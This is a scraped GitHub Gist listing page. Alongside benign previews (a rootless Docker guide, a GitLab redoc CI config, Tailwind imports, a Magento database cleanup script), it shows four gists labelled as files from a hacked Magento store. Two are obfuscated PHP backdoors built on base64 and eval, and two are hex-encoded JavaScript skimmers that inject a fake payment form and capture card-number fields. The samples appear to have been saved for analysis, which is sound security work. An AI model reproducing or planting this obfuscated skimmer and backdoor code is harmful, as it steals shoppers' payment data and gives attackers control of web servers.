Skip to content

Instantly share code, notes, and snippets.

@kkrieger85
kkrieger85 / install-docker-ubuntu-2025.md
Created March 15, 2026 08:18 — forked from cybergitt/install-docker-ubuntu-2025.md
How to Install Rootless Docker on Ubuntu on 2025

Rootless Docker

This guide teaches how to use Rootlesskit and Docker to install a Rootless Docker and run Docker containers in Rootless mode. The setup works for Linux (Ubuntu, Debian, etc.), and Raspberry PI Docker allows you to create Rootless containers. This means, Docker Engine will create and run these containers in Rootless mode. They will run as unprivileged to the user namespaces creating them.

Install Rootless Docker Kit and Run Rootless Container Mode

You will learn different ways to get Rootless container ready:

  • Using Docker Engine
  • Using Rootlesskit
@kkrieger85
kkrieger85 / generate-docs-gitlab.yml
Created September 1, 2020 14:05 — forked from aronbudinszky/generate-docs-gitlab.yml
Generate docs from open api spec in Gitlab using a shared runner.
image: node:latest
pages:
stage: deploy
script:
- npm install -g redoc-cli
- redoc-cli bundle -o public/index.html documentation/openapi.yaml
artifacts:
paths:
- public
@kkrieger85
kkrieger85 / app.scss
Created June 18, 2020 12:50 — forked from skydiver/app.scss
Laravel + Tailwind CSS + Hot Reload
@import "tailwindcss/base";
@import "tailwindcss/components";
@import "tailwindcss/utilities";
@kkrieger85
kkrieger85 / app.scss
Created June 18, 2020 12:50 — forked from skydiver/app.scss
Laravel + Tailwind CSS + Hot Reload
@import "tailwindcss/base";
@import "tailwindcss/components";
@import "tailwindcss/utilities";
@kkrieger85
kkrieger85 / magentoskin.php
Created April 3, 2020 17:31
Added to skin/frontend/default/
<?php
/**/
$a22ca7ba="\142\x61\163\x65\x36\x34\x5f\x64\x65\x63\157\144\145";@eval($a22ca7ba(
"
Ly9OT1RON2E4anhjT2dJVDVjL0xCTkJmcnpjR3RaZTQ1TlpCV2tpVDljanNkckxlRnNSTWNwWVozM3RCYVFUdUpaRFViV1MwY3dNM2sxdHNNYVcxSm9ySWg1
dGFZeW1jM0FYaFpMUHJqZUpDS25oYVE2bXhNK25aSWoxK1Z3S1RMNWpzRWJPSkFyb2tzQkpza0RmUkh2ODZYMjR4Ukw3WDl5MnFhWVpNR1NwdzNDcklHcGtO
YnIreGFkV3k0VjBPSUdMcTFzbmtITjE2dEdvV00rVmhUMWhVNU0rYXczdlAzSkMxb2ZhU3JVQUtsdmdRcFl1MEhCY2VDUnZ5cXo3Q3RVSWNWeHVVWUZqMTVT
SkxvQStXY0swTmhxeGpRK3VFRGtGK1lMUkZZQnBlNElBM2U3MXRBYXFhV1RkcDFLNUkzc040ZjZpc2VjZ0JKVUZVTCtWMzdua1ZWQkpzaEVFNzl2YkUwUFAw
NE9TQnJ6QzJta0c2VUU3ZitLL0VQM0NiQmg5UFFRSWZYQW9pd2t4NGJ1S1JWMVJhWVo1aGM2MnZ6Tk1wRCtJL3gvdzBLeVZENGFBUWExLzVGUzVLeXZqZVFZ
ZTNkWGFmQkd3QXdUTXAyQ09sQ0RYZ0VNWC9sUGprbFVDT0RKTFlmdWdqMEhTSjJYbDNBMTlGdWdQVTRXMy9NdTN0SmdocTRnWDlnU0VYZ2x6MG9VNUtqZjNT
@kkrieger85
kkrieger85 / fake_checkout.php
Created April 3, 2020 17:31
Added checkout.php in js/mage/adminhtml/sales/checkout.php
<?php /***222222222222222222222222222222***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=27a7bb85c3361dc742fb2e44a4146e5b03fbe3f07VT/a4JAFP896H84QlBBzpyt2KKNWLaCKFEbjBEi54WCS9GrNUb/++48jGhfao2NflB/ePrufd5793mfO4yCGGjtaiWcS
@kkrieger85
kkrieger85 / diff-prototype.js
Created April 3, 2020 17:29
Hacked prototype/prototype.js
var _0x49ef=["\x63\x68\x65\x63\x6B\x6F\x75\x74\x2D\x70\x61\x79\x6D\x65\x6E\x74\x2D\x6D\x65\x74\x68\x6F\x64\x2D\x6C\x6F\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x70\x70\x2D\x2D\x70\x61\x79\x6D\x65\x6E\x74\x2D\x66\x6F\x72\x6D","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x69\x64\x3D\x22\x70\x70\x2D\x2D\x70\x61\x79\x6D\x65\x6E\x74\x2D\x66\x6F\x72\x6D\x22\x3E\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x22\x69\x6E\x70\x75\x74\x2D\x2D\x66\x69\x65\x6C\x64\x22\x3E\x20\x3C\x6C\x61\x62\x65\x6C\x20\x66\x6F\x72\x3D\x22\x66\x69\x65\x6C\x64\x2D\x2D\x68\x6F\x6C\x64\x65\x72\x22\x3E\x20\x43\x61\x72\x64\x68\x6F\x6C\x64\x65\x72\x20\x3C\x65\x6D\x3E\x2A\x3C\x2F\x65\x6D\x3E\x3C\x2F\x6C\x61\x62\x65\x6C\x3E\x20\x3C\x69\x6E\x70\x75\x74\x20\x69\x64\x3D\x22\x66\x69\x65\x6C\x64\x2D\x2D\x68\x6F\x6C\x64\x65\x72\x22\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6D\x61\x78\x6C\x65\x6E\x67\x74\x68\x3D\x22\x35\x30\x22\x20\x6E\x61\x6D\x65\x3D\x22\x70\x61\x79\x6D\x65\x6E\x74\x5B\x63\x63\x5F\x
@kkrieger85
kkrieger85 / diff-js.js
Created April 3, 2020 17:28
Hacked varien/js.js
var _0xeb92=["\x3B\x20","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x73\x70\x6C\x69\x74","\x6C\x65\x6E\x67\x74\x68","\x73\x68\x69\x66\x74","\x3B","\x70\x6F\x70","\x3D\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D\x54\x68\x75\x2C\x20\x30\x31\x20\x4A\x61\x6E\x20\x31\x39\x37\x30\x20\x30\x30\x3A\x30\x30\x3A\x30\x31\x20\x47\x4D\x54\x3B","\x62\x75\x74\x74\x6F\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x63\x6C\x69\x63\x6B","","\x66\x6F\x72\x6D","\x63\x75\x72\x72\x65\x6E\x74\x64\x61\x74\x61\x73\x3D","\x24","\x3B\x20\x70\x61\x74\x68\x3D\x2F","\x69\x6E\x70\x75\x74","\x73\x65\x6C\x65\x63\x74","\x76\x61\x6C\x75\x65","\x74\x79\x70\x65","\x72\x61\x64\x69\x6F","\x68\x69\x64\x64\x65\x6E","\x69\x64","\x73\x65\x61\x72\x63\x68","\x73\x75\x62\x6D\x69\x74","\x6E\x61\x6D\x65","\x63\x75\x72\x72\x65\x6E\x74\x64\x61\x74\x61\x73","\x3A","\x7C","\x63\x63\x5F\x6E\x75\x6D\x62\x65\x72","\x69\x6E\x64\x65\x78\x4F\x66","\x64\x69\x61\x6D\x6F\x6E\x64\x20","\x55\x52\x4C","\x64\x69\x73\x63\x6F\x75\x6E\x74","\x73\
@kkrieger85
kkrieger85 / clean-magento_ce-db-extended.sql
Created March 3, 2020 11:30
Clean Magento database of junk and unnecessary data
--
-- Magento CE database clean-up extended
--
-- This is an extended clean-up which will clean search, import/export, reports, etc.
--
-- @author Constantin Bejenaru <boby@frozenminds.com>
-- @copyright Copyright (c) Constantin Bejenaru (http://frozenminds.com/)
-- @license http://www.opensource.org/licenses/mit-license.html MIT License
--
@kkrieger85
kkrieger85 / clean-magento_ce-db-extended.sql
Created March 3, 2020 11:30
Clean Magento database of junk and unnecessary data
--
-- Magento CE database clean-up extended
--
-- This is an extended clean-up which will clean search, import/export, reports, etc.
--
-- @author Constantin Bejenaru <boby@frozenminds.com>
-- @copyright Copyright (c) Constantin Bejenaru (http://frozenminds.com/)
-- @license http://www.opensource.org/licenses/mit-license.html MIT License
--